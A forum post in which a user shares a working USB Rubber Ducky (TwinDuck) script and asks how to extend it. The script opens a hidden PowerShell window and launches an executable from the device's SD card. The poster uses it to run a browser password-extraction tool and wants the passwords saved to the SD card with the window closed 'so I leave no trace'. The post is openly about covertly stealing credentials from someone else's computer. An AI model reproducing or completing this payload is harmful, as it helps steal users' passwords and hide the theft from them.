Jump to content

New Ducky payloads required


DonaldDuck
 Share

Recommended Posts

I found this script that is actualy working very well. It is running .exe from SD instead of download and execute. Now, I am running webbrowserpassview.exe and it extracts the passwords on the screen. I want to save it as .txt , download it on twinduck (SD) and close the window on desktop, so I leave no trace. Does anyone knows how to continue the script bellow to proceed this action? 

REM RunEXE From TwinDuck SD By rickblack28
DELAY 5000
GUI r
DELAY 100
STRING powershell -windowstyle hidden ; Start-Process "D:\hello.exe" ; Start-Process "E:\hello.exe" ; Start-Process "F:\hello.exe" ; Start-Process "G:\hello.exe" ; Start-Process "H:\hello.exe" ; Start-Process "K:\hello.exe" ; Start-Process "Z:\hello.exe"
ENTER

Also searching some new scripts for windows7 that are actually working.  Thanks guys.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   1 member

×
×
  • Create New...